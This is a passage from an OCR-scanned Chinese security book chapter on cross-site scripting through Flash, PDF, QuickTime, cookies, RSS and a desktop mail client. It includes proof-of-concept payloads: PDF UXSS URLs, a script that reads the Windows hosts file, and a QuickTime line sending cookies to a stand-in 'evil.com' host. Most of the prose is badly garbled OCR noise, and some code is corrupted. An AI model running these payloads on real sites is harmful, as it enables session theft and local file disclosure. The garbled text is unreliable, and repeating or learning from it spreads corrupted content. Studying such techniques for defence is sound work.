ADSAZQEZAGEAbAACAGEADABLAHT AdAkoACE A¥ ABT AFMALwAp ACKADw AnACKA
TAGY AbwBukHUALQBa AGEALQBpAGw A« QABAC =

.. | "~ |

aE 7-28 FA UTF-7 REDAFRD T AMERDIASER
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77 MpmESe

af W, SR EBETE CSS PE ] XSS XY, I expression/eval/alert/javascript %, A ML
Werp g astuk, i UTF-7 BOM (195 30k T Lhgeid — sz 4=k il .

U wusmeze

Web 5 K () 3= 5 B FLIBE R B AR L AT 52 31 T R R SRRSO 1E 20 1) S, 447 T 30 5 2% 1) ef
i, HFEFEMSCE. BEE. NARFSSRAR PR, i, RATE Flash #ii a8 /£
W3 AR A, £ ] QuickTime. Microsoft Windows player Jik 3 MP3 FILA 15, {#/] PDF H
F SCAAE B o JL S BRI 2 ) F i e e

— BX S W 2R 4E M (& Flash Player. QuickTime UL 5 Acrobat Reader %) L% 41,
R eFHEN B KM B .

7.7.1 Flash &I

Flash g6 WLI — Fp B 2 XSS, i/ Bk e F2 0 & GBS HE{E A0 JavaScript 4 A 230
e, R SEHFPATESEARN. BTES 6 Trh 4L iF g0 fI# I Flash & Fh X,
BT LAX AT 2 ik .

BAE, BATICL—ANfa) o e s Sl B el A H Flash K3THE)S 1] .

FERTE I A 2, FRAMEH] Adobe Flash CS3 K45 ActionScript Jf-4mi¥ M SWF 3CfF, BL7EHR
z2kil i 4 4 MTASC ) T HKA) 3 Flash SRR MTASC 25— JFUEIY ActionScript 2.0
HvEa%, AERS ARG &8 SWF ST, R HE B Cr7 4R SWF 3044 . X 50] LASE M http://www.mtasc.org/
EF BRI .

FEGERE R E B A Hoxb, g ) C:\mtasc .
iG, ATKET#— F mtasc AL, Wk 7-5 fios.

#z715 BEAEMAZ
& W it BB
_swifile W] “-swf” bRid 4818 )5 10 H bR SWF 30, SiF 7Y AS 2530, #2054 HiR SWF
S A v 76 0 248 4 0 T 5 el 0 P 1) 286
J— W “-cp” FRERBEM - HME, KRBT EUF MTASC, W[LEEHKTF
PPe #F AS K

-main AT AN SE G, E BhIE T 5 1 main $TFEERF 44T

scaer widdrheight:fps-bgooloe ;hEdle;g%Tgeimzfps;bgmlon SWF (. #. fps. 1¥5tEIfa. 17 StEEa N
-mx R MX 240i%, (EAER MM V2 4118 i s F 31

BRAE, HEAE R XA gmHTEE (I Windows L A) 45 ActionScript 2.0 B4, A% F:

class test {
function test () {

1
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ST PRt BORM Bt S 2, AT AN R A B AT Ak, A5 IR 25 FAT 1) SE R BRI A AR SEIE ST . DR BERERIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

ETE RAXSSRE

static function main(mc) {

getURL ("javascript:alert('XsSs')");
}

}

P H{REAEF] Cmtasc H3F, #7424 test.as, #AJHIE4T emd #EA mtase H3xK, A

| mtasc.exe -swf test.swf -main -header 1:1:1 test.as

IXB A 40 testas CHFSIFER—4 SWF X, BiTmdla, EZHX P34
test.swf 3CfF, P 7-29 FE 7-30 s,

= C:A\FINDOWS\systemd2icmd. exe

AE 7-29 451F SWF SO

BRAE test.swf P 24 %47 JavaScript 1065, H P a LAEE'E _LAEZMEMSZFF Flash f)M%s, AR5
{ii Fl<object>fl<embed>#F5 8 %f H it 47 i FH .

& atasc

D ®EQ FHFY Ry IAD ®EbHE ¥
o= - Y me . ommR DX
el v B wmi
urrm;:rraf; a.. i =T | ik _:._' CHABGES. txt

Fatare. it T Beadms. txt
= : miaze exe =
“ testoas

aE7-30 45k test.swf

4 HTML 3R H&AFZCR, HTML A k.

<html>
<body>
E <embed width="100%" height="100%" src="test.swf" type="application/x-shockwave-flash" />
</body>
! </html>

e

{3 P 30 Y 8% 1a) % HTML SCAY, it XSS G HE s oha h, & 7-31 fras.
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77 MEBEERS

AE 7-31 M& XSS

X%T MTASC )3 Ah &R S H £ 7-6 Frax.

76 HitSRSH
& N VA
-version n KA player R4
v FEGR P TR A R
-out file S R ih i) SWF 3CfF
-msvc (£ 2 AT EAFH Microsoft Visual Studio (FHRET UK. A2 JAVA (1) MUK
-strict SR N B RFT A7 A A S M A Y
-exclude file AMER MR, HB AT R
~trace function ilse 4~ trace ik, sUHEUHFTAM trace. % Trace Facilities
-keep fEEH] MCC #F as2 2451 2] SWF 30+, WA MTASC, fT0n] e UMK
~frame f H% as2 il ] SWF S 1) FRAME B
-group HF AT SO VR 347 iz 1) 48 14 -group
FHTAT 0GR Y5 T, IXPEREE SWF SCHHABI 28, HREWIREH T -keep 58

kg -mx, gL BEC o
-wimp A 5 AT AT B R A R R
-infer VI 4 SR IR 4 T 20 R0 1

7.7.2 38 PDF # XSS

PDF (Portable Document Format) /& 1 Adobe 2% ) JF A 1M il ) —Ff ol 7 305 5, mT RAKE 30
TR, A&, B S T8 & o R 1 B R R S Rt — A ik, g e vl BA &
B, AENERBRFLTER.

IEAE T PDF SCAF R AP RR £, {8 30ZE W AN Internet _E3EAT W 7 SCRY R AT FVECT 1S BAL 1
()5 FEARL (9 SCRY M 2. #R1M, F Adobe Flash —Ff, PDF th{7{E XSS & .

PDF X R Z FibiA %4, IEFANEAR G I JavaScript BIAE 5 .

JavaScript i 5 % T84 B U1, Adobe ifli #§5% JavaScript, BJ LLJ7 {# Mg A8 B 2% il
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$T7HE FAXSSRE

R F PDF ORI .

Tifii, BAINHB M JavaScript A ] PDF Sk 2 h. 7EMLZ BT, EE T EET FHE
Fi14z % Adobe Reader (& 15 L Adobe Acrobat 7.0 Professional i3 473 7<) .

(@ Ji3h Acrobat Reader T JF—4> PDF ({1, sk& ] “ QI PDF X" Tifig, il
HoAts STRS A B P 4k “nl B R DR RS X kU E PDF Scff, Wl 7-32 Bros.

TERQ REQ ABY YA FHO TAQ HMe W0 WG Lo
TS Ly Iy I T Yy,
o I. 2R & - j : ~s & [1%% - @ N L

fFibe 7| MTVocuments and Settngs’ Ad minstrator Rl 5 e e T :

* SWeUNEY i ¥
[ i L3781 | @

a8 7-32 fUE POF X#
@ Mz T bR, RS Z NN TUm AR, R )5 I F RS R “ T
MErE” a4, Wk 7-33 Pros.

BB Adobe Acrobat Professional — [test.pdf]

< EHE GEQ NBY THO EEC IAD B0 B0@ W ]
2R 0o O N THemeor- 55 wi- @ A
Ip*# - :3"\. : en @ [150% v @ . Y b B -

7 x || [
} T a

w /WM )

L;'!j BATE®

Iz

= BENEW
ERTED

A DETELR ©

1=

L: RO @)

E FIEOTE @)
: o T B )

WA T R )

! B TS E ()
i AT S B (L) v
i - < >
o | e |0 0 o

AE7-33 EE "TTREM" 6T

@ £ TUTR#E” SHERE Rk “ BI1E " R4S, TR “ 3431k F RIS 1 %48 “ 1247 JavaScript”
fr4, BRJG Mg [3n] 4, #H JavaScript Sad 280G HE, & 7-34 s,
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17 WRBEARS

0y JavaScript SRS
HRETIERHE Javasapt
app.alert('™XsSY; e
w17, R 1A
[(m= | [ mm | [m=w. |
1 T =@ |

AE 7-34 T JavaScript 1253

@ ZEFHK) “JavaScript Hit 28”7 SHEHEP AL
| app.alert('Xss");

npd 7-35 Fras, #di [#f5E ] 4l (R4 PDF 3O

XH W EERM/E: Adobe SLHF [ 51 JavaScript AT REIR!, U alert('xss) L4 APP X%
P, RAERR T app.alert('xss’). XEBEF, FA JavaScript #47T B i S fEH Adobe BT L HFH
Ihfit.

® KA, HESTIFRIA A7 PDF S04, JavaScript fUFSRI BT .

42 Adobe Acrobat Profeswional -

@Bl O@ N Temeor- S el B - G-

o Ie s e - . - ® DYl wnm| @am -
T o N
g -

1 tewt
ﬁ| 6 X85
Ei

;
=5
LI

i

8

o i | STES |

A 7-35 $FTASS
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B7H FA XSS EE

BLZE, 220830 PDF SO B GUrh iz T . Gl — A~ HTML 30, SRS a1 k-

<html>

<body>

<object

data="test.pdf" width="100%" heigh="100%"
type="application/pdf"></object>

</body>

</html>

SRJE Vi 1A R i ks

! bhttp://127.0.0.1/test.html

I B B R D AT PDF SCAFIR) XSS i, el 7-36 Bz .

B& T3t JavaScript ## A PDF LA 44T, 148 0] ORI R AT DOM 1) 07 #4404T PDF XSS, R
%111 Stefano Di Paola fil Giorgio Fedon £ 23 Jii CCC 42U hih, KK FTLIZ% i Adobe
Acrobat.

Stefano Di Paola " PDF ' [f] DOM XSS # & UXSS (Universal Cross-Site Scripting). 3£ |-,
FEAT S FE PDF SO 194 s #48 v] E AT AE X Fh e i)

X2k XSS Bt HM, EE W Rl

http://www.test.com/foo.pdf#bar=javascript:alert ('XsS");
http://www.test.com/file.pdffname=javascript:code

<iframe src=http://www.test.com/file.pdf#name=javascript:code style="width:0;height:
0;border:0">

</iframe>

B i # http //127.0.0.1/test hinl ) v EyeE wE i

B Y L

e ) ) ] © Internet
AE 7-36 A& XSS

XSS fRBL AT LA EAR A RIS PDF XAHH) URL 40T, EXEHAT, RS2 T

216

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

________________ 77 MREEERS
WA A Acrobat Reader ¥fF, *4Iijmix#e URL i, JUWaEEE2 B3ATH Y JavaScript
ﬁﬁ& 252 AT S HF PDF S B 3405 R KB i (008 7 FLRR ORI 22 A 51 2 5 LA XSS
ﬁﬁ;ﬁ;ra, Rsnake % J0F] /A PDF SCH-REIAT S/ B (0BGt 6 OAIEFAS (o % 278, it
KAt AR NS R H W R AAR, POC nl F

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:al
art ("XsSs") ;

ZEERE 20T ) % L2 i SEHL Y PDF 30k, XA HME, — M Acrobat Reader %
B ABAT 5 B4, JF HT8CE AN PDF FEA U

XA REAE T file B, XESKFI A JavaScript fE Uy )4 FH & 10 A HHLES, R EE
JavaScript [)REHAR ) M55 PDF 3CfF, B #5428 L Cookie 3CfF, Mz # &5
BB AR -

A FIH JavaScript BHURSE LA HOSTs (1) POC:

javascript:try {var req = new ActiveXObject ("Microsoft.XMLHTTE");
req.open("GET","file:///C:/WINDOWS/system32/drivers/etc/hosts", null);
req.send(null);

alert (req.responseText) }

catch (e) { conscle.dir(e)};

SC¥E(Y) Expliot &0 F:

file:///C:/Programme/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:try3%20(v
ar%20req%20=%20new%20XMLHt tpRequest () ;req.open ($22GET%22, $20%22file: ///C: /WINDOWS/sys
tem32/drivers/etc/hosts%22, $20null) ;req.send(null) ;%$20alert (req.responseText) $20}%20c
atch%20(e)%20{console.dir(e) }:;

PDF 2Bt A 22 S WL HT LA (1) Adobe Acrobat, #4Wi] Adobe Acrobat 7 5% AR A (IFEFF .

W& Windows H1 /7, AIBAZH DLUR JLAM R o 77 %

® F}-2% %] Adobe Acrobat Reader 8 LL_ERRAS, al7E ) %28 BE dc iz

o (i Ath PDF ®% 4%, 0 Foxit Reader;

o JGuYiAR I EA “AEJEFTIT PDF X7,

i 2k Pk A R A sl A, AT LAEFRSRIA N A% 8 PDF U, A REALIEL M W55,
a5 24 Web JIlR 55 85 B0 L () header AT G Ja 1% .

7.7.3 QuickTime XSS

% I Adobe Flash fil Adobe Acrobat Reader, QuickTime 847 7E LUK %4 ] L

W ] P22 4e 7 ARSI IR A Y QuickTime, A i 14T FF 3 dedf s Skt i, ST RERIH
XSS Wil 6 R ATAE AR .

IXFh B AN AT (T I, i S A QuickTime #EIHAS 11— ML 2R Text Tracks.
Text Tracks F7 1R 2%, H A7 —FhnY Href Tracks. Href Tracks 75 1 [H 8h47 FF el /5 8o i 52 i)
MR, IXUEREREfEFR ) FTP. HTTP. HTTPS A AL LR Eh 4, 4R t403% JavaScript
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B7E ORAXSSEE
s, B E R R %8 v k04T JavaScript 465 .

BB P 23 T IR A ) Quicktime Pro, BRAE R BG4 TEXT X4 (i xss.txt), I
JavaScript fCRE R AL B AT

A<javascript:alert ("hello from backdoor")> T<>
A<javascblockedript:window.location=http://www.evil.com/coockie.php?c=+escape (document
.cookie) ;> T<>

LR T A T JavaScript PRBORSE H— P IEHE, AT A FeniZsh R A B, AHE

S Mak: 1
FIH QuickTime I 454 82 X 1 () <embed>#x2E 1) qtnext B, FIFEHERAT XSS, %Ki H Petko
Petkov A& Hi.

RN E AR QTL X, B ] AR AT AR

<?xml version="1.0">

<?quicktime type="application/x-quicktime-media-link"?>
<embed src="shortfile.mov"
gtnext="javascript:alert('test"')"></embed>

EI0 5k XSS B A5 B A4

BEFoR, IRAVTE 5Bk XSS M.

7.8.1 EF Cookie #J XSS

JET Cookie (1) XSS A XSS BT 2 KX 5, HZHE Shellcode fFiE7E Cookie X, WE
EHAILH 1 5 (Shellcode AIIHMY, MiZHIE Cookie 1] LLYE A f7fi# Shellcode A AL —.

Cookie-Based XSS [ [ B AL FE AR 1A 42, Web FEFFiEHL Cookie )7 BHE IR HAE b 25k
HEB|E . FRNSSEMAEAEEE, 247 Cookie 5 NEE JavaScript BIAF, B[ 47 &% &,

XA EFIFES I, MASZ= (http://www.wooyun.org/bugs/wooyun-2010-02135) ¥ £ /A Aiiid
—A™ Cookie XSS Jiil . J il 7= 4 i) JsL R 2 B2 e %5 Cookie 9 (12 $0d 38 A4 ™, T3] LLLE current_city
SR PR AT EACRS, i 7-37 Ak 7-38 iR .

Request Header Name  Request Header Value
Host www.tuan800.com
User-Agent Mozilla/3.0 (Windews NT 6.1; rv:2.0.1) Gecko/20100101 Firefon/d.0.1
Accept text/html, application/xhtml +xml,application/xml:q =0.9,"/":q=0.8
Accept-Language zh-cnzh:q=05
Accept-Encoding gzip, deflate
Accept-Charset GB2312 utf-8:q=0.7,"q=0.7
Keep-Alive 115
Connection keep-alive
Referer http:/fwsnw.tuan800.com/
o qurrent dity=123"» wscripts sleni(wis) < scripts: BlvsASISDCHI5CHIIFIN. .,
If-Nene-Match "088451f191444158923124bbd2d1Tecc” '

A 7-37 (g Cookie HPHEA XSS £ 15
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B BHIRAN A R ATHOUE AT G 8, FATTH F AR A [ A O RBARTEINSC 2 3k | SR 2] s JoAe S s ST 8 A
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7.8 45FEHY XSS & AHREI

) Fetpe/ Frvewe usanBO00 comy ik

o 7-38 fik& Cookie XSS

Google 55 AR i % i Cookie XSS il .

Google Cookie XSS )R 4l # & Heart, = LRI EEZ Google 1 Cookie 1f1Z ¥
gmail_kimt_exp FLHEFTED S5 0T, 10 gmail_kimt_exp 280150 76 5 HH A8 4 200 i €,
MM 3 Cookie XSS Wil 174, Wk 7-39 FiR.

- JGmail Walp c #oxille Ficefox . . o

Th RAD BEW BEE BEQ IAD WBH W
a - O X M el e cmfrmperts - -
i Gasil Nalp <R LEET o M - O - isipbeeilew
il.com | Ity Accourd
GOL )81(2 Gmail Help
Ganall Home Geogie Help » Gral Help
Help toplcs
Help R Search Gaail Help | [ Search the ¥eb |
N (i lst1p:/ mail
Whai's New
Y our Account
Geiaal Efog « Logging in
For wark o schoal + Cresling an Accoumt
Creale an Accound * Accoum Information
s Prreacy & Securly
Your Messages * Accounls
Semding » Labels
+ Composing » Filters
* Sengdng * Farsranling & POPAMAP
* Allachmenie » Chat
e A £ Known 13sues
Fecebving * ‘Wb Chpy -'g Perents repoben geobds
+ Reading o labe _

aE 7-39 Google Cookie XSS

4 Heart [F1HA, fh7756E 2% 7 R Cookies Z4:

| gmail kimt exp=')</script><script>alert (document.cookie)</script>

)G, HEEHTIT http://mail.google.com/support 3 FAEf]— AN Wi A& HTTP /8%, RIMAELLTF
Bt
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W7® RAXSSE®

<script type="text/javascript">

urchinTracker (' /support/?hl=en&experiment="')</script><script>alert (document.cookie)</
script>');

</script>

Mix HLEH|, FLFH Cookie "4 JavaScript {15 50 5o S i th B 7 0L, =T
Cookie [f] XSS.

Rtk 7E3E4T Web 224 AR B, T 5 A B2 RE — LE A H (47 i 0 %, 11 Cookies. Flash Local
Shared Objects. UserData, DOM Storage %5 .

7.8.2 3B RSS #) XSS

%4 RSS (Really Simple Syndication) & H Fif 3 LLE 2 /9 Web 2.0 #iRZ —, RLUEEHE
S H TS REI — R AR TB. i RSS T, s34t RSS i, fEibJH P Hiddk
0 9 3 g 30T 3B ) PN 7

RSS LL XML AR Ky 3ehl, KA M i fs SRR AN — A XML #& U 3cff, ek R
TEALIE Y RSS 4, %7 3 RSS 3 U5 38 I FLF4G Hodls A XML A& 2 SO s U 8o H ok .

X, REEEU R — AN B RSS X, BRATIFRRE — N E A S Web T, B
Gl AL G

AN WL RSS 2.0 & 3 XML 304

<?xml version="1.0" encoding="utf-8"7>
<rss version="2.0">
<channel>
<title>FMira/title>
<image>
<title>FEP i -ERES</title>
<link>http://news.sina.com.cn/china</link>
<url>http://image.sina.com.cn/10.jpg</url>
</image>
<description>ERESHAIIE</description>
<link>http://news.sina.com.cn/china/index.shtml</link>
<language>zh-cn</language>
<generator>WWW.SINA.COM.CN</generator>
<ttl>5</ttl>
<copyright>Copyright 1996 - 2005 SINA Inc. All Rights Reserved</copyright>
<pubdate>Wed, 26 Apr 2006 01:45:05 GMT</pubdate>
<category /><!-- —#%¥H --—>
<item>
<title>xxxxxxx</title>
<link>http://news.sina.com.cn/c/1/2006-04-26/08029720281.shtml</link>
<author>WWW.SINA.COM.CN</author>
<guid>http://news.sina.com.cn/c/1/2006-04-26/08029720281.shtml</guid>
<category>xxxxxxx</category>
<pubdate>Wed, 26 Apr 2006 00:02:53 GMT</pubdate>
<comments/>
<description>xxxxxxxx</description>
</item>
</channel>
</rss>

KBS A VAR, XEAREHE RSS HH LI, Wk 7-7 s,
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F77 RE
T % W R
|-channel Eoibiil
|-title Ml AR
|-link A 1 1
|-description SIH () R
-image 152 4~ GIF. JPEG = PNG [}y, WUl S#E & R
-url P H i B
-title PR bR, alt B
-link Jd ik () URL C# RISGE ) URL)
|-description P title JatE
|-width Pl FE (S A L)
|-height P (R (S R
|-textInput R A text AMESLH PSR, BAAGE B A ThaEARE
|-title Submit 21 ER%E
|-description TR text H A X
[-name Textarea X %11 4 °F
|-link AERHLAE (PR 1Y) CGI B
J-item ABHH T LR BTH Gitem) 54
|-language T
|-copyright S P 2 MRS W)
|-managingEditor THESHHT) E-mail
|-category i S A 1 2K )
|-pubDate UM ANERA DM, R LH0R RFC822 Kot
|-webMaster 4 B b E-mail
|-generator A E LA
|-lastBuildDate HIE N ARG s o A R
|-does 10 i% RSS SCAFATHIRE LR Wi URL
|-t 3, RICAR W80 o] $ R Ar A 8], BLa bk s
|-rating RS A g CERSRRA, R, LI
|-skipHours PEan T MR AR, OBl I BT BBkt
|-skipDays PR R 2R, WA T A Bk

RSS FAEM ML P EE FBNEA, 0 title, description 25, 4R J5 30 T4 21 (K4 % i 20 %
{ERE HTML 3CAF. fEiX i Be b, SRS a8 v A0t 30 eh i ) 28t 47 7 4 ek 38, 384 ol k=4 XSS
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HE7H RAXSS FIE |

2 M 4 4 ) i

T A A A RSS $hATEE U BIARAD .

AT R R, REEE XML X i) RSS #d, 4 —SFZB P i A EEREE. F
e —ANEAN T JavaScript () XML 3CPF:

<?xml version="1.0" encoding="utf-8"7>
<rss version="2.0">
<channel>
<title>RSS xss test</title>
<link>http://www.playsec.com</link>
<description>test</description>
<copyright>Copyright (C) 2011</copyright>
<generator>test</generator>
<lastBuildDate>Wed, 3 Sep 2011 15:57:37 +0000</lastBuildDate>
<ttl>30</ttl>
<item>
<guid>http://www.0.com/?id=4</guid>
<title><script>alert(‘xss’);</script></title>
<author><script>alert(‘xss’) ;</script></author>
<description><! [CDATA[<script>alert(0);</script>]]><script>alert ('xss’);</script></de
scription>
<link>http://www.0.com/?id=6</link>
<category
domain="http://0.com/?id=5"><script>alert(‘'xss’};</script></category>
<pubDate>2011-09-01 17:33</pubDate>
</item>
</channel>
</rss> '

OB ML () XML SO AR B IR 45 2%, SRIG AR RSS (3288 17 (] b o bk {8 ] frh %2 XSS Hiiki .

(T RSS SCHETEAT 3l 2 ¥ aT a5/, B Lok X0 RE 8 N ) 7E4F4) v LHEAT RSS B4
P i e

Ak, {6 RSS R VFFI T <I[CDATA[ Fi]=> 10344 5k X80 H #) HTML 34

<script type="text/javascript">
<! [CDATA[

alert ("test");

11>

</script>

K% RSS J WA vt b vl LA EH LA TE AR 077 OB 4 o S EATAlRE,  diutbidi i CSS
Al JavaScript {CHE AT LAZE RSS 3 55 2% AT R AR AIBRAT o

783 NA#HFPAI XSS

XSS {55k A< o7 DA — Rl B e BR T I AFAE T Web WHRERR, BT REAELE TR
S 7 FE A o O N A B TR I P 2 i A O R A R D R (R S R R X P A
i L IEAAE .

B 7-40 FroR Ry **=BRad il A5 R —A XSS FWiF.
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7.8 55N XSS L ABRE

il 4
T e omee | Woen 8 cimes
A ', o S L R Y :_:_;'::._‘

FAkE EERE UKD E® v

o IPRWMEAR
BE 1 EELE T
HE : 10:47 .43

» EREER +Sh
o ) B e AR s ¥
M By el AR OAE ME EF . BT W

WETEdRE. -

SRR
O ( EHEHET,

i_ol\- & FE: SER Prs T REEN ~ SEbmig

TPEEWARE

oo eENEn

A 7-40 RNEHEE R G XSS

PR, BATTLAESHE KooMail RELHT XSS Wil 4 6l Ui .

KooMail (FEHE) J&—3K#FT 7 EThRER B P im, SCFFZHRHK ., WTLUBCUR 163, sina.
sohu. 263. qq. yahoo. hotmail. Gmail % =i MEFE B . 2% w2 =4 XSS EEh o P
EH “ WA gt BEACBE SR, T2 S A B3 0 A% (KT HE {4 P LA EA T AR L 08, T B R
FA P AE RORHAR R ha] DIORY b ARt AT 8 i B ki

B, PEMZERMEE W, RESASHREEKS, W 7-41 fron. BREREFR
P 7-42 Fr s (S e 5

T & RS oM ail x
| AEREHLE: 163, com
| ASRE
1 ]
' Lme |

SHAEE%S AR e

AE7-41 FEMEWKS

17T KooMail &, iy “55" fidl, Mt 7-43 FoRiI s 0. EAEHEEA A A,
EH R AR W, JER B8 html P 4, WE 744 PR, REER “himl HEG
gnt” THAE, MR ME A 2 e 22 UK RS St (R 7 5K
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
IR TEHEMIT B TR A

et GEUAN AR AT SR £ A B E, JRATH H bR o A DRI S kg st | St i o

RHIG

B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

JE7-43 SREE0

LEIXEHF M A PR XSS fUid<script>alert(/XSS/)</script>, BH{E NS — 1M, Wit

AN AQKEEeE, Wk 7-45 s, s il UiGX] %4
SEMBAE AL A, PIBIEEHEEE O, A2 LA m R — AN NE DR B, i 7-46

ik, WEARESIE, MR RE LW T —MIA XSS (5 BINAHEHE, M 747 Fir.
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Koolai L\ crindey@1B3. com R |
@ ®EOD FEY IRO ®Ho
£Am - o muwer - (@ s WS Eean el TE - g we | () e -
i 8 | nss NS CNEIGEE P ARSI
= 52 comdry@163. con o } i
v 8 WP ”r[ 4 L Y “«:l p. 4 5
o B i SPHE  CMIZEGE B MR ERacE
L& EssastE
L EE
_ BEE
T TR
80 E
Wx -
E: A
ERERA ) A
ST e P e TR
AE7-42 KooMail =HE
=== —
EEW FEY REQ KBO
B mx - (B o (Bemen ¢ meee |2 s -
B A
& vis {2 5m
ik _ #tw EE |G &0
L N nsp A EREEEEERE S D % g v DFEBIEMUEE O ?
| . tREF “ i STTERIE @)
55'1&#*: From (F) k
I BHE pplre® 4
e Sender (5) I
| (RTFEE MR T AR LIRS o) E
i crndry®163. com [ | x
i 2011-12-03 . e . W '
;; T EFuelFREE Q
'1I s N I W T <D A ¥ R N A BB

AE 7-44 ER T htmlEREE" G4
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ST Pt ORI
ISy, WAFAE A BRTE AR SORIEAR T 12 T EURIC I R AR Z A, #ii i, B SZE1F AR PE,
B B s R AT AU HOR
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

e |
oy EEQ Q) W00
Bme - (aer (& 0 sweo |G s -

B-EA  caadry@IBY com,

& wiz
xE: x53 test
<OOCTYPE HTML PUBLIC "/ 3¢ MOTD HTL 40 TranaimonalbE 15

<HTML»<HEAD >
CAETA hifpagues=r tﬂvllT'|Fr aetene
<META content= T b R

names fl_I‘JLI-u&‘ ll—f><TIT_ Loy |

HZRY AR AR AT S AT A8, 75 N 24 B AT 1) SRR ARSI ST DRI 20 BRI T 3L

THI S IERR AR SR B A IERR

NGB, AT H B R A DR RIS ks SR R o e T R B A

79 WEBES

rtllp ralen(fXS5)</scnpt ]
bt §E L aomesikrempl FasalAE gif

: \
wactby=() 3, ﬂ-‘.ﬁ-l cBRJ(BD)(E‘P)(ER:(BPNBﬁ) <BR> 1
cnndny(@163 com i enndry@163. com
<BF> 2011-12-03 <BR2><BODY»¢/HTML> 1
| i

|

!
Hal il bR |

. 3 BB | BhEdRRE

xss test

..EJ 7- 45 atmwmacmz\ xss Hfi

aB 746 RTHIMBYE

| ToooM i1 \emm deyify o om il AR : S .x
' m-nu nm ﬂm IR@® #¥wo
':’f-'ﬂ- ,j'ﬁm o8BS WS Bl [ AR v Lo BB | (23] W6 -
o HE s | S S AT IR
* AR BIROaEeE - ERfEA ] MR 7
= & enniry@l63 com [ enndry@lB3 com 9 xsz test 2011-12-3 1. 1K
& OB iR
4+ BN
B IR
T @it
o HAmE i Nicrosoft Intermet HExplorer [B€
o IEIRAL . =
1 Juss/
o AL < »
X
B xss test P
iE enedry@163 com Cenndry#1B3 com?
Hawx s @) WA cnndry@163 com
M= 0/1 Hxoonai LIEIEITH

a®E 7-47 % KooMail XS5

TS AT L, FRATT P I £ B R kA A8 ] EA7AE XSS AR, 1y HaXAh XSS il i) i 7 2 % A

T Web FEFF11 .

Il muses

VAR HLIER I AN 1T, R R R AT XSS Bt i) EE AT

AFIRRAS . P00 Web 3 S0 8847 LE 2T & Fh & REIRIZE 5, T L0 ) 2% 57 11 AT i S0 o i) B
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ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

BTHE RA XSS IR

791 BHER/ATFEM

HAt Ao ids, #NE T JavaScript, XAETFAHER IS AEA R 00 K 2% L ABEAR GF Hu e A

HAZ, FoA] e B8 3] — g 0 U AR ANAHEA A () R, 3K 46 o) 5 HH DR AEWR LR ? &R E: DOM Al
CSS.

DOM 3% S AR T 3 BE 28 R 17 Web TUIIMIER Sy, ZEASF K30 W48 %F JavaScript (K SZEL
ZH, I CRRAE DOM X%, ST 3 A% R 2 R AR A .

i CSS B 1 Al LURI A8 5L AR v vt 4b, ik mT BUAD K g LS T B AT 0, el B o .
B TP S . % N JavaScript X FIUEITRICE, RN EGIEICE. MR/ FESUTENE
P, AemtE SRTLLGEE CSS #EB Mk e S AN KA T CSS HYSEEL AT fE AR, ixth 3
T ) AR A AN e 1)

H i ELBeMEAT (1) Web 3 W28 : Internet Explorer. Mozilla Firefox. Google Chrome. Apple Safari
1 Opera, P 7-48 frrs.

aE 7-48 K Web T

XA AR e e g | % (RIS N K AE, Hn IE i Trident 4%, Opera 1
H] Presto 4%, Safari il Chrome {# ] Webkit PJ#Z%-+-+

AN ] (50 U 2% AR ) R D0 5 R T AR, & A% HTML. CSS. JavaScript [fiE et A~
[, EMANATTHAMITMAZ (0 HTML. XML, E{§%), &g i e i 87 M 5T A
R

X LR b () 72 57 nl e 2 S BU™ 4 24 )

7.9.2 |EREZEHFH 5 XSS

fE HTTP Header 14— Content-Type B¢, ‘&2 [FIE S PR EE AN E, HTFEXH P
T ) 5 A8 a8 AR Ak S R 1 B

#iltn, Content-Type " ¥ H W, MIME 267 J text/html, #751R [B1ff) N 75 52 AR, Tfiji%se
A JE HTML #3011 . 3 K28 2 MR35 Content-Type 3 g 2 4] S5 73 [ (1) 3 B4 9 2%

JR I E, o S S 2B () MIME 8804 text/html, SEASZIE B4R HTML S04, 4R 1 IE #I
HA—FER A ERHLH] o

IE S SRS TEFT FF—ANUUi A, 40 BB 0 Wi S 3k () content-type A1 text/plain, B2 3% R TT
1T S P S B A 25 SR B LTI 75 A R b — A HTML 30, #5502, 2Ll text/htm] [75 oARFE, iX
FRALERHL K F 2L content-type A text/plain (KT [HIZE IE6. 1E7 A1 1IE8 S {4 4 text/html ke .

HEt—A~ PHP 30, #ALLFACHS:
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79 JEREF

<?php

header ('Content-Type: text/plain');
>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<hl>test</hl>
</body>
</html>

PHP ff] header()eR % v LA [] 25 /7 i A S 4 i) HTTP #8 3k,  BIVIE %) % 881X & — /M ali S
(text/plain) ZFERY )3T

BARE X BACRS7EAS W] i b0 Yo 2E PR BT i R B .

® £ IE6, IE7. IE8 " fT4s Bk 7-49 Fiae.,

® 7t Firefox H () PAT &5 R Wi B 7-50 Frow.

'Mozilla Firefox

TeE @D EERY FES =22 IAD BLH

